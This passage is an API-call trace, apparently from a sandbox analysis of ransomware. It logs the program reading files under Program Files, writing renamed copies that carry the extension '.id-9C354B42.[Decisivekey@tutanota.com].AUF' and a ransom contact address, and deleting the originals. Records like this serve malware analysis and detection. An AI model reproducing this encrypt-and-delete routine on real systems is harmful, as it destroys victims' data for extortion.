Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0214.201] lstrlenW (lpString=".zip") returned 4 [0214.201] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.201] lstrlenW (lpString=".rar") returned 4 [0214.201] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.201] lstrlenW (lpString=".bz2") returned 4 [0214.201] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.201] lstrlenW (lpString=".7z") returned 3 [0214.201] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0214.202] lstrlenW (lpString=".dbf") returned 4 [0214.202] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0214.202] lstrlenW (lpString=".1cd") returned 4 [0214.202] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0214.202] lstrlenW (lpString=".jpg") returned 4 [0214.202] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.227] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=72031) returned 1 [0214.227] CloseHandle (hObject=0x194) returned 1 [0214.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0214.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.227] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.227] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.228] GetLastError () returned 0x0 [0214.228] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0214.267] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0214.269] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.269] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.269] SetEndOfFile (hFile=0x214) returned 1 [0214.269] CloseHandle (hObject=0x214) returned 1 [0214.269] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.269] SetEndOfFile (hFile=0x194) returned 1 [0214.272] CloseHandle (hObject=0x194) returned 1 [0214.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.273] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0214.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0214.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0214.273] lstrlenW (lpString=".doc") returned 4 [0214.273] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.273] lstrlenW (lpString=".docx") returned 5 [0214.273] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0214.273] lstrlenW (lpString=".pdf") returned 4 [0214.273] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.273] lstrlenW (lpString=".xls") returned 4 [0214.273] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.273] lstrlenW (lpString=".xlsx") returned 5 [0214.273] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0214.273] lstrlenW (lpString=".ppt") returned 4 [0214.273] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0214.273] lstrlenW (lpString=".zip") returned 4 [0214.273] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.273] lstrlenW (lpString=".rar") returned 4 [0214.273] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.273] lstrlenW (lpString=".bz2") returned 4 [0214.273] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.273] lstrlenW (lpString=".7z") returned 3 [0214.273] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0214.273] lstrlenW (lpString=".dbf") returned 4 [0214.273] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0214.273] lstrlenW (lpString=".1cd") returned 4 [0214.273] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0214.274] lstrlenW (lpString=".jpg") returned 4 [0214.274] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.274] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=58026) returned 1 [0214.274] CloseHandle (hObject=0x194) returned 1 [0214.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0214.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.274] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.274] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.275] GetLastError () returned 0x0 [0214.275] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0214.280] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0214.285] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.285] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0214.285] SetEndOfFile (hFile=0x214) returned 1 [0214.285] CloseHandle (hObject=0x214) returned 1 [0214.285] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.285] SetEndOfFile (hFile=0x194) returned 1 [0214.286] CloseHandle (hObject=0x194) returned 1 [0214.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.286] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0214.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0214.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0214.287] lstrlenW (lpString=".doc") returned 4 [0214.287] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.287] lstrlenW (lpString=".docx") returned 5 [0214.287] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0214.287] lstrlenW (lpString=".pdf") returned 4 [0214.287] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.287] lstrlenW (lpString=".xls") returned 4 [0214.287] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.287] lstrlenW (lpString=".xlsx") returned 5 [0214.287] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0214.287] lstrlenW (lpString=".ppt") returned 4 [0214.287] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0214.287] lstrlenW (lpString=".zip") returned 4 [0214.287] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.287] lstrlenW (lpString=".rar") returned 4 [0214.287] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.287] lstrlenW (lpString=".bz2") returned 4 [0214.287] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.287] lstrlenW (lpString=".7z") returned 3 [0214.287] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0214.287] lstrlenW (lpString=".dbf") returned 4 [0214.287] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0214.287] lstrlenW (lpString=".1cd") returned 4 [0214.287] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0214.287] lstrlenW (lpString=".jpg") returned 4 [0214.287] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.287] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=944994) returned 1 [0214.287] CloseHandle (hObject=0x194) returned 1 [0214.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0214.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.288] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.288] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.288] GetLastError () returned 0x0 [0214.288] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0214.326] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0214.513] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.513] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0214.513] SetEndOfFile (hFile=0x214) returned 1 [0214.513] CloseHandle (hObject=0x214) returned 1 [0214.513] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.513] SetEndOfFile (hFile=0x194) returned 1 [0214.519] CloseHandle (hObject=0x194) returned 1 [0214.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.520] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0214.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0214.520] lstrlenW (lpString=".doc") returned 4 [0214.520] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.520] lstrlenW (lpString=".docx") returned 5 [0214.520] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0214.520] lstrlenW (lpString=".pdf") returned 4 [0214.520] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.520] lstrlenW (lpString=".xls") returned 4 [0214.520] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.520] lstrlenW (lpString=".xlsx") returned 5 [0214.520] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0214.520] lstrlenW (lpString=".ppt") returned 4 [0214.520] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0214.520] lstrlenW (lpString=".zip") returned 4 [0214.520] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.520] lstrlenW (lpString=".rar") returned 4 [0214.520] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.520] lstrlenW (lpString=".bz2") returned 4 [0214.520] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.520] lstrlenW (lpString=".7z") returned 3 [0214.520] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0214.520] lstrlenW (lpString=".dbf") returned 4 [0214.520] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0214.521] lstrlenW (lpString=".1cd") returned 4 [0214.521] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0214.521] lstrlenW (lpString=".jpg") returned 4 [0214.521] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.521] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.521] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.522] GetLastError () returned 0x0 [0214.522] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0214.543] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0214.545] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.545] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0214.545] SetEndOfFile (hFile=0x214) returned 1 [0214.545] CloseHandle (hObject=0x214) returned 1 [0214.545] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.545] SetEndOfFile (hFile=0x194) returned 1 [0214.547] CloseHandle (hObject=0x194) returned 1 [0214.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.547] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0214.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0214.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0214.547] lstrlenW (lpString=".doc") returned 4 [0214.547] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0214.547] lstrlenW (lpString=".docx") returned 5 [0214.547] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0214.547] lstrlenW (lpString=".pdf") returned 4 [0214.547] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0214.547] lstrlenW (lpString=".xls") returned 4 [0214.547] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0214.547] lstrlenW (lpString=".xlsx") returned 5 [0214.548] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0214.548] lstrlenW (lpString=".ppt") returned 4 [0214.548] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0214.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0214.548] lstrlenW (lpString=".zip") returned 4 [0214.548] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0214.548] lstrlenW (lpString=".rar") returned 4 [0214.548] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0214.548] lstrlenW (lpString=".bz2") returned 4 [0214.548] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0214.548] lstrlenW (lpString=".7z") returned 3 [0214.548] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0214.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0214.548] lstrlenW (lpString=".dbf") returned 4 [0214.548] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0214.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0214.548] lstrlenW (lpString=".1cd") returned 4 [0214.548] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0214.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0214.548] lstrlenW (lpString=".jpg") returned 4 [0214.548] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0215.999] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.999] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0215.999] GetLastError () returned 0x0 [0215.999] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0216.042] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0216.043] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.043] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, 